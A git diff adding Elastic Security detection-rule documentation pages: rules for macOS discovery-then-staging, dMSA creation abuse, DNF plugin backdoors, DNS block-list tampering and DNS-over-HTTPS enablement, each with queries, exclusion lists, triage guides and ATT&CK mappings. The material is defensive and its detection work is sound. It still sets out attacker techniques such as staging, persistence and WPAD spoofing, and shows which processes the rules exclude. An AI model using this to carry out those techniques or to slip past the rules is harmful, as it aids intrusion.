creation, or persistence changes (LaunchAgents/LaunchDaemons/crontab) around the alert time. + + +*False positive analysis* + + +- An administrator or troubleshooting script run from bash/zsh may execute built-in discovery commands (e.g., `system_profiler`, `ifconfig`, `dscl`) and redirect the output into `/tmp`, `/private/tmp`, or `/Users/Shared` as a temporary log or support bundle artifact. +- A login/profile shell customization (e.g., `.zshrc`/`.bash_profile`) or local diagnostic routine may run `whoami`/`arch`/`csrutil` and append results into a hidden dotfile path (e.g., `/*/.*`) for auditing or environment validation, creating a short command-then-write pattern. + + +*Response and remediation* + + +- Isolate the macOS host from the network and suspend or terminate the implicated shell/process tree that executed the discovery command and immediately wrote into locations like `/tmp`, `/Users/Shared`, or hidden dotfiles to prevent further staging or exfiltration. +- Quarantine the written file(s) and any adjacent artifacts (archives, encrypted blobs, renamed copies) from the same directories, preserve them for analysis, and remove the staged data once collection is complete. +- Identify and eradicate the launch point by reviewing the invoking shell history and user startup scripts (e.g., `.zshrc`, `.bash_profile`) for redirection or scripted discovery, and delete any associated persistence (LaunchAgents/LaunchDaemons, cron entries) tied to the same user or file path. +- Rotate credentials and invalidate active sessions for the logged-in user that ran the command, and audit recent remote access methods (SSH, remote management, VPN) used on the host to ensure the account was not compromised. +- Restore the host to a known-good state by reinstalling or reimaging if tampering is suspected, then monitor for re-creation of the same suspicious file paths and repeat discovery-to-file-write behavior from any interactive shell. +- Escalate to IR leadership immediately if the staged file contains host/user inventory data and there is evidence of outbound transfer attempts (new external connections, upload utilities like `curl`/`scp`, or rapid archive creation) following the write event. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.parent.name in ("bash", "sh", "zsh") and + process.name in ("whoami", "ifconfig", "system_profiler", "dscl", "arch", "csrutil") and + process.args_count == 1] + [file where host.os.type == "macos" and event.action == "modification" and + file.path like ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/Library/WebServer/*", + "/Library/Graphics/*", "/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/*/.*") and + not file.path like ("/private/tmp/*.fifo", "/private/tmp/tcl-tk*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dmsa-account-creation-by-an-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dmsa-account-creation-by-an-unusual-user.asciidoc new file mode 100644 index 0000000000..a61f4a6b2a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dmsa-account-creation-by-an-unusual-user.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-dmsa-account-creation-by-an-unusual-user]] +=== dMSA Account Creation by an Unusual User + +Detects creation of a delegated Managed Service Account by an unusual subject account. Attackers can abuse weak child-object or msDS-DelegatedManagedServiceAccount rights during account migration to elevate privileges. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating dMSA Account Creation by an Unusual User* + + + +*Possible investigation steps* + + +- What dMSA object did the alert show, and where was it created? + - Focus: use `winlog.event_data.ObjectClass`, `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectGUID`, `winlog.event_data.SubjectUserName`, and `winlog.computer_name` to identify the new msDS-DelegatedManagedServiceAccount, new-to-this-rule writer, and controller. + - Implication: escalate when the object is in a privileged service, sync, backup, DC, or identity-infrastructure path, or when name or writer lacks a narrow service-account purpose; lower only when DN, writer, and controller match one exact planned dMSA rollout or lab path. +- Did the same dMSA receive migration or privilege-enabling attributes? + - Why: BadSuccessor-style abuse elevates creation with `5136` changes such as msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState, SPNs, delegation attributes, or gMSA membership. + - Focus: review same-object `5136` and `5137` records on this controller with `winlog.event_data.ObjectGUID`, comparing `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.AttributeValue`, and `winlog.event_data.ObjectDN`. !{investigate{"description":"","label":"Directory changes for the same dMSA object on this controller","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ObjectGUID","queryType":"phrase","value":"{{winlog.event_data.ObjectGUID}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5137","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.ObjectGUID","queryType":"phrase","value":"{{winlog.event_data.ObjectGUID}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"5136","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if same-controller results have gaps, repeat the `winlog.event_data.ObjectGUID` search across DC Windows Security logs before treating missing follow-on changes as lower risk. + - Implication: escalate when values link the dMSA to a privileged predecessor, advance migration state, or add SPN/delegation material; lower suspicion only when attributes form one bounded migration to the intended legacy service account. +- Who created the dMSA, and what session reached the domain controller? + - Focus: identify writer and session with `winlog.event_data.SubjectUserSid` and `winlog.event_data.SubjectLogonId`, then recover `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`. !{investigate{"description":"","label":"Authentication events for the writer session on this controller","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: this pivot uses `winlog.event_data.TargetLogonId` for `4624` or `4634`; search `4648` separately with `winlog.event_data.SubjectLogonId` when explicit-credential use matters. Missing authentication telemetry is unresolved, not benign. + - Implication: escalate for an unexpected human, helpdesk account, low-privilege service identity, unusual source, interactive/RDP session, or explicit-credential path; lower suspicion only when actor and source match the narrow identity-management path for this object. +- Did the same session touch other directory objects? + - Focus: compare surrounding `5137` and `5136` records on the same `host.id` for `winlog.event_data.SubjectLogonId`, reading `winlog.event_data.ObjectDN`, `winlog.event_data.ObjectClass`, and `winlog.event_data.AttributeLDAPDisplayName`. + - Implication: escalate when the session creates multiple dMSAs, edits ACLs, changes delegation, or touches unrelated privileged users, computers, groups, or service accounts; lower when every change stays tied to one bounded dMSA rollout. +- Did the new dMSA get used from systems that should not touch it? + - Focus: derive the dMSA from the CN in `winlog.event_data.ObjectDN`, confirm it in `winlog.event_data.TargetUserName`, then review `4624` records for `source.ip`, `winlog.logon.type`, and `winlog.event_data.AuthenticationPackageName`; search `4648` separately for explicit credential use. + - Hint: absent dMSA authentication is a timing or visibility gap, not proof creation is harmless. + - Implication: escalate when the dMSA authenticates from unexpected servers, workstations, jump hosts, or non-service logon types; lower suspicion only when use stays inside the exact service host set for the confirmed rollout. +- If local evidence is suspicious or incomplete, do related Windows Security events show broader AD abuse? + - Focus: review events for writer `user.id`, then compare records referencing the new `winlog.event_data.ObjectGUID`. !{investigate{"description":"","label":"Windows Security events associated with the modifying account","providers":[[{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}],[{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the object-event view for shadow credentials, delegation abuse, unusual service changes, or other AD tampering tied to the same dMSA. !{investigate{"description":"","label":"Windows Security events associated with the new dMSA object","providers":[[{"excluded":false,"field":"winlog.event_data.ObjectGUID","queryType":"phrase","value":"{{winlog.event_data.ObjectGUID}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate and expand scope when either entity is tied to privilege abuse, directory tampering, or suspicious authentication; keep scope to this object when related events are quiet, but do not close solely because no other event exists. +- Escalate for sensitive placement, privileged migration links, unexpected writer/session context, broader directory edits, unexpected dMSA authentication, or related AD-abuse events; close only when telemetry and outside confirmation prove one exact planned migration or lab activity; if mixed or incomplete, preserve directory-change and session evidence and escalate. + + +*False positive analysis* + + +- Planned dMSA rollout or service-account migration can legitimately create msDS-DelegatedManagedServiceAccount objects. Confirm expected `winlog.event_data.ObjectDN`, same-object `5136` attributes limited to the intended legacy service account, and `winlog.event_data.SubjectUserSid`, recovered `source.ip`, and `winlog.logon.type` matching the narrow migration account and host path. If change records, migration tickets, or owner confirmation are unavailable, leave unresolved unless telemetry proves the exact authorized workflow. +- Lab validation or staged service-account modernization can also trigger this rule. Confirm `winlog.event_data.ObjectDN` stays in the test/staging OU, the same `winlog.event_data.SubjectLogonId` avoids unrelated privileged objects, and any `winlog.event_data.TargetUserName`, `source.ip`, or `winlog.logon.type` activity stays limited to designated test systems. If test scope lacks outside confirmation, treat the alert as unresolved. +- Before creating an exception, validate exact writer `winlog.event_data.SubjectUserSid`, dMSA path pattern, bounded same-object `5136` attributes, controller path, and recovered source. Use a temporary or tightly scoped exception for one-time migrations, and avoid exceptions on event `5137`, all msDS-DelegatedManagedServiceAccount objects, or all dMSA creation activity. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the evidence that proved the authorized workflow: `winlog.event_data.SubjectUserSid`, `winlog.event_data.ObjectDN`, same-object `5136` sequence, recovered `source.ip`, `winlog.logon.type`, and exact rollout or lab scope. +- If suspicious but unconfirmed, preserve a case export with the triggering `5137`, related same-object `5136` records, recovered `4624` or `4648` records, and key object/session identifiers before containment. Apply reversible containment first, such as temporary DC access restrictions for the recovered source or heightened monitoring on the writer and dMSA. Disable the writer or isolate the source host only if privileged follow-on changes, unexpected authentication, or related events appear. +- If confirmed malicious, preserve the same directory-change and session evidence first, then remove the unauthorized dMSA and roll back related msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState, SPN, delegation, or membership changes found in the same-object sequence. Isolate the recovered source host when endpoint response is available and host criticality permits, then disable or reset the compromised writer and any linked service accounts. +- Before deleting objects or closing the case, review hosts and services that used the new dMSA, verify rollback replication across domain controllers, then rotate affected secrets or restore service bindings. +- Post-incident hardening: restrict who can create dMSAs or start service-account migration, review CreateChild and delegated managed service account rights on service-account OUs, retain `5136`, `5137`, `4624`, and `4648` coverage on domain controllers, and record the confirmed workflow or BadSuccessor evidence pattern for future triage. + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:5137 and host.os.type:"windows" and winlog.event_data.ObjectClass:"msDS-DelegatedManagedServiceAccount" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Domain Account +** ID: T1136.002 +** Reference URL: https://attack.mitre.org/techniques/T1136/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dnf-package-manager-plugin-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dnf-package-manager-plugin-file-creation.asciidoc new file mode 100644 index 0000000000..289137cd0e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dnf-package-manager-plugin-file-creation.asciidoc @@ -0,0 +1,219 @@ +[[prebuilt-rule-8-19-34-dnf-package-manager-plugin-file-creation]] +=== DNF Package Manager Plugin File Creation + +Detects file creation events in the plugin directories for the Yum package manager. In Linux, DNF (Dandified YUM) is a command-line utility used for handling packages on Fedora-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor DNF to gain persistence by injecting malicious code into plugins that DNF runs, thereby ensuring continued unauthorized access or control each time DNF is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pwnshift.github.io/2020/10/01/persistence.html +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNF Package Manager Plugin File Creation* + + +DNF, a package manager for Fedora-based Linux systems, manages software installations and updates. It uses plugins to extend functionality, which can be targeted by attackers to insert malicious code, ensuring persistence and evasion. The detection rule monitors file creation in plugin directories, excluding legitimate processes, to identify unauthorized modifications indicative of potential backdoor activities. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path to confirm if it matches the monitored plugin directories: "/usr/lib/python*/site-packages/dnf-plugins/*" or "/etc/dnf/plugins/*". +- Identify the process responsible for the file creation by examining the process.executable field, ensuring it is not one of the legitimate processes listed in the exclusion criteria. +- Check the file extension of the newly created file to ensure it is not one of the excluded extensions like "swp", "swpx", or "swx". +- Investigate the origin and legitimacy of the process by reviewing its parent process and command line arguments to determine if it aligns with expected behavior. +- Correlate the event with any recent changes or updates in the system that might explain the file creation, such as package installations or system updates. +- Search for any additional suspicious activity or anomalies in the system logs around the time of the alert to identify potential indicators of compromise. +- If the file creation is deemed suspicious, consider isolating the affected system and conducting a deeper forensic analysis to assess the scope and impact of the potential threat. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger file creation events in the DNF plugin directories. Users can mitigate this by ensuring that the processes involved in these updates are included in the exclusion list of the detection rule. +- System maintenance scripts or automated tasks that modify or create files in the plugin directories can be mistaken for malicious activity. To handle this, identify these scripts and add their executables to the exclusion list. +- Temporary files created by text editors or system processes, such as those with extensions like "swp", "swpx", or "swx", can be excluded by ensuring these extensions are part of the rule's exclusion criteria. +- Custom scripts or tools that interact with DNF plugins for legitimate purposes should be reviewed and, if deemed safe, their executables should be added to the exclusion list to prevent false positives. +- Processes running from directories like "/nix/store/*" or "/var/lib/dpkg/*" may be part of legitimate package management activities. Users should verify these processes and include them in the exclusion list if they are non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Conduct a thorough review of the newly created or modified files in the DNF plugin directories to identify any malicious code or unauthorized changes. +- Remove any identified malicious files or code from the DNF plugin directories to eliminate the backdoor and restore the integrity of the package manager. +- Revert any unauthorized changes to the system configuration or software settings to their original state using verified backups or system snapshots. +- Update all system packages and plugins to the latest versions to patch any vulnerabilities that may have been exploited by the attacker. +- Monitor the affected system and network for any signs of continued unauthorized access or suspicious activity, using enhanced logging and alerting mechanisms. +- Escalate the incident to the appropriate internal security team or external cybersecurity experts for further investigation and to ensure comprehensive remediation. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.path like ("/usr/lib/python*/site-packages/dnf-plugins/*", "/etc/dnf/plugins/*") and not ( + process.executable in ( + "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", "/usr/bin/microdnf", "/bin/rpm", + "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", "/bin/dnf", "/usr/bin/dnf", + "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", "/bin/puppet", + "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/bin/autossl_check", + "/usr/bin/autossl_check", "/proc/self/exe", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", + "/usr/libexec/netplan/generate", "./usr/bin/podman", "/usr/bin/dnf5", "/bin/needs-restarting", + "/usr/bin/crio", "/usr/bin/insights-client", "/kaniko/executor" + ) or + file.extension in ("swp", "swpx", "swx") or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/etc/kernel/*" + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + file.path like~ "/etc/dnf/plugins/.ansible_tmp*" or + process.name like~ ("ssm-agent-worker, NinjaOrbit", "python*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-global-query-block-list-modified-or-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-global-query-block-list-modified-or-disabled.asciidoc new file mode 100644 index 0000000000..b674220816 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-global-query-block-list-modified-or-disabled.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-dns-global-query-block-list-modified-or-disabled]] +=== DNS Global Query Block List Modified or Disabled + +Identifies changes to the DNS Global Query Block List (GQBL), a security feature that prevents the resolution of certain DNS names often exploited in attacks like WPAD spoofing. Attackers with certain privileges, such as DNSAdmins, can modify or disable the GQBL, allowing exploitation of hosts running WPAD with default settings for privilege escalation and lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ +* https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wpad-spoofing +* https://www.netspi.com/blog/technical-blog/network-penetration-testing/adidns-revisited/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNS Global Query Block List Modified or Disabled* + + +The DNS Global Query Block List (GQBL) is a security feature in Windows environments that blocks the resolution of specific DNS names, such as WPAD, to prevent attacks like spoofing. Adversaries with elevated privileges can alter or disable the GQBL, enabling them to exploit default settings for privilege escalation. The detection rule monitors registry changes indicating such modifications, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the specific changes made to the DNS Global Query Block List, focusing on the registry values "EnableGlobalQueryBlockList" and "GlobalQueryBlockList". +- Identify the user account associated with the registry change event to determine if the account has elevated privileges, such as DNSAdmins, which could indicate potential misuse. +- Check for any recent changes in user permissions or group memberships that might have granted the necessary privileges to modify the GQBL. +- Investigate any other suspicious activities or alerts related to the same user or host around the time of the registry change to identify potential lateral movement or privilege escalation attempts. +- Correlate the event with network traffic logs to detect any unusual DNS queries or attempts to resolve WPAD or other blocked names, which could suggest exploitation attempts. +- Review system and security logs for any signs of unauthorized access or other indicators of compromise on the affected host. + + +*False positive analysis* + + +- Legitimate administrative changes to DNS settings by IT staff can trigger the rule. To manage this, create exceptions for known maintenance windows or authorized personnel making these changes. +- Automated scripts or software updates that modify DNS settings might be flagged. Identify and whitelist these processes if they are verified as safe and necessary for system operations. +- Changes made by security tools or network management software that adjust DNS settings for legitimate reasons can be mistaken for threats. Review and exclude these tools from monitoring if they are part of the organization's approved security infrastructure. +- In environments where WPAD is intentionally used, the absence of "wpad" in the GlobalQueryBlockList might be a normal configuration. Document and exclude these cases if they align with the organization's network design and security policies. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement. +- Revert any unauthorized changes to the DNS Global Query Block List by restoring the registry settings to their default state, ensuring WPAD and other critical entries are included. +- Conduct a thorough review of user accounts with elevated privileges, such as DNSAdmins, to identify any unauthorized access or privilege escalation. Revoke unnecessary privileges and reset credentials as needed. +- Deploy endpoint detection and response (EDR) tools to scan the affected system for additional indicators of compromise or malicious activity, focusing on defense evasion techniques. +- Monitor network traffic for signs of WPAD spoofing or other related attacks, and implement network segmentation to limit the impact of potential threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update security policies and procedures to include specific measures for monitoring and protecting the DNS Global Query Block List, ensuring rapid detection and response to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.data.strings != null and +( + (registry.value : "EnableGlobalQueryBlockList" and registry.data.strings : ("0", "0x00000000")) or + (registry.value : "GlobalQueryBlockList" and not registry.data.strings : "wpad") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-over-https-enabled-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-over-https-enabled-via-registry.asciidoc new file mode 100644 index 0000000000..6268b2be37 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dns-over-https-enabled-via-registry.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-dns-over-https-enabled-via-registry]] +=== DNS-over-HTTPS Enabled via Registry + +Identifies when a user enables DNS-over-HTTPS. This can be used to hide internet activity or the process of exfiltrating data. With this enabled, an organization will lose visibility into data such as query type, response, and originating IP, which are used to determine bad actors. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.tenforums.com/tutorials/151318-how-enable-disable-dns-over-https-doh-microsoft-edge.html +* https://chromeenterprise.google/policies/?policy=DnsOverHttpsMode + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender 